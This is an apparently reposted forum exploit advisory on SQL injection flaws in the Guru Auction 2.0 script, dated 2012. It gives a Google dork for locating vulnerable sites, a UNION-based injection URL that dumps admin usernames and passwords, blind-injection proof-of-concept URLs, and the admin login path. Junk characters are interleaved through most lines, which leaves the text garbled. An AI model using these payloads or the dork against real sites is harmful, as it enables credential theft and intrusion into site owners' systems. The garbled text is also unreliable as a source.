Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
6 v% T# H' B1 N9 w5 j6 V9 H' ^* [5 H6 O. s% |- H) a
作者 : v3n0m4 W3 H# O# [" }. ~+ \
应用 : Guru Auction 2.0! q% K h9 ]$ t! J8 H
Price : $49
' k2 u* f2 h3 o1 Z6 }4 }Vendor : http://www.guruscript.com/# E+ v1 B: b9 m$ N/ Y* ?
Google Dork : inurl:subcat.php?cate_id=" m3 U) Q7 N& `8 S* n
9 T9 F0 `' ]! BSQLi p0c:: x# `9 u! j4 s2 g3 O
~~~~~~~~~~, x7 _- Y% q$ L' v7 Q; M: q
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
5 r; m6 v) T5 f8 Y* W. \/ l " b9 Y( I w2 b: W3 {
+ }% k9 T6 {% C
盲注 p0c:
2 i( `. b% d" v% e~~~~~~~~~~
- W: P4 H: R! R( H7 ~) Phttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true# `( m! h; ~! X' l1 L
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
/ }. k( h: _/ Y) Q
# c5 Z7 Z' H: k4 F( h5 y管理登录入口:
; N: P7 x$ H& f1 x/ |~~~~~~~~~~
. q) H' f$ j+ s+ P1 X7 Uhttp://domain.tld/[path]/admin/9 P7 n6 t/ H& U: Q4 V( w. A
|
发表于 2012-12-31 09:24:05
收藏
支持
反对